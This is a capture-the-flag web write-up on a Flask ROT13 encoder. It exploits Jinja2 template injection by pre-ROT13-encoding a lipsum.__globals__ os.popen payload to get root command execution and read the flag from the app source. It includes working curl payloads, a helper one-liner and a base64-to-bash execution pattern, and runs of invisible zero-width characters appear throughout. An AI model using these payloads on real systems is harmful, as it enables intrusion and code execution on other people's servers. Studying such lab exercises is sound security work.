← Back to Writeups
CUSTOMEasyWeb

Шифр Цезаря (Caesar Cipher) — ROT13 SSTI Bypass

XESXOR9/10/20263 min read
#web#custom#easy#ssti_rce#rot13_pre_encoding_bypass#lipsum_globals_rce#linux

Шифр Цезаря (Caesar Cipher) — ROT13 SSTI Bypass

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-27 | Status: Solved Techniques: ssti_rce, rot13_pre_encoding_bypass, lipsum_globals_rce

Summary

Task: Flask ROT13 online encoder whose /encrypt endpoint feeds the ROT13'd input into render_template_string(), yielding Jinja2 SSTI and RCE. Solution: pre-ROT13-encode the SSTI payload so it decodes to valid Jinja2 after the server transform, then exfiltrate via lipsum.globals os.popen; flag found in a trailing comment of /opt/app.py.

Шифр Цезаря (Caesar Cipher) — ROT13 SSTI Bypass — hackerlab

Description

Решил сделать собственный онлайн-шифратор ROT13. Пока работает только функция кодирования — потестируйте, пожалуйста: вроде бы всё чисто.

Translation: "I made my own ROT13 online encoder. Only the encode function works for now — please test it: seems clean."

A Flask + gunicorn web app at http://62.173.140.174:16122/ offers a ROT13 "online encoder". The /encrypt endpoint takes JSON {"text": ...}, applies ROT13, and returns the result. The goal is RCE and recovery of the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Recon

The index page is an AJAX form that POSTs JSON to /encrypt:

bash
curl -sI http://62.173.140.174:16122/      # Server: gunicorn/20.1.0
curl -s  http://62.173.140.174:16122/       # form -> POST /encrypt {"text": ...}

Testing the endpoint:

bash
curl -s -X POST http://62.173.140.174:16122/encrypt \
  -H 'Content-Type: application/json' -d '{"text":"hello"}'
# {"encrypted_text":"uryyb"}   <- plain ROT13

Vulnerability Analysis

The server ROT13s the input and passes the result straight into Jinja2's render_template_string(), with no sandboxing — classic SSTI leading to RCE. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The recovered source (/opt/app.py):

python
from flask import Flask, render_template, render_template_string, request, jsonify
app = Flask(__name__)

def rot13(text):
    return text.translate(str.maketrans(
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
        "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm"))

@app.route('/encrypt', methods=['POST'])
def encrypt():
    data = request.json
    text = data.get('text', '')
    encrypted_text = rot13(text)          # ROT13 BEFORE rendering
    try:
        result = render_template_string(encrypted_text)   # SSTI sink
    except Exception as e:
        result = str(e)
    return jsonify({'encrypted_text': result})

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The twist: ROT13 is applied to the input before template rendering, and the rendered result is returned without being ROT13'd again. So a raw Jinja2 payload gets its letters scrambled before evaluation:

bash
# {{7*7}} survives because digits/operators are unaffected by ROT13
curl -s -X POST .../encrypt -d '{"text":"{{7*7}}"}'        # -> {"encrypted_text":"49"}

# String literal proves ROT13 runs first
curl -s -X POST .../encrypt -d '{"text":"{{\"abc\"}}"}'    # -> "nop"  (ROT13 of abc)

# config gets ROT13'd to pbasvt -> undefined
curl -s -X POST .../encrypt -d '{"text":"{{config}}"}'     # -> ""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# raw globals payload -> 'yvcfhz' is undefined (lipsum -> yvcfhz)

The attacker must pre-ROT13-encode the Jinja2 payload so that after the server's ROT13 it decodes back into valid Jinja2. Command output (digits, strings) comes back in plaintext because ROT13 is not re-applied to the render result.

Exploitation

The real payload:

jinja2
{{ lipsum.__globals__["os"].popen("id").read() }}

ROT13-encoded form actually sent to the server (only letters are rotated; digits, quotes, brackets, underscores stay): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

jinja2
{{ yvcfhz.__tybonyf__["bf"].cbcra("vq").ernq() }}

Helper one-liner that builds the pre-encoded payload and fires it:

bash
INNER='{{ lipsum.__globals__["os"].popen("CMD").read() }}'
PAYLOAD=$(python3 -c "import codecs,json,sys; print(json.dumps({'text':codecs.encode(sys.argv[1],'rot13')}))" "$INNER")
curl -s -X POST http://62.173.140.174:16122/encrypt \
  -H 'Content-Type: application/json' -d "$PAYLOAD"

Running id:

uid=0(root) gid=0(root) groups=0(root)

RCE as root. For commands with quotes/special characters, base64-encode the shell command to dodge escaping issues, since ROT13 only touches [A-Za-z]: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

jinja2
{{ lipsum.__globals__["os"].popen("echo <b64> | base64 -d | bash").read() }}

The flag was not in the environment or obvious paths. Reading the source revealed it in a trailing comment:

bash
INNER='{{ lipsum.__globals__["os"].popen("cat /opt/app.py").read() }}'
# ... -> source ends with:  # Take your flag - CODEBY{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍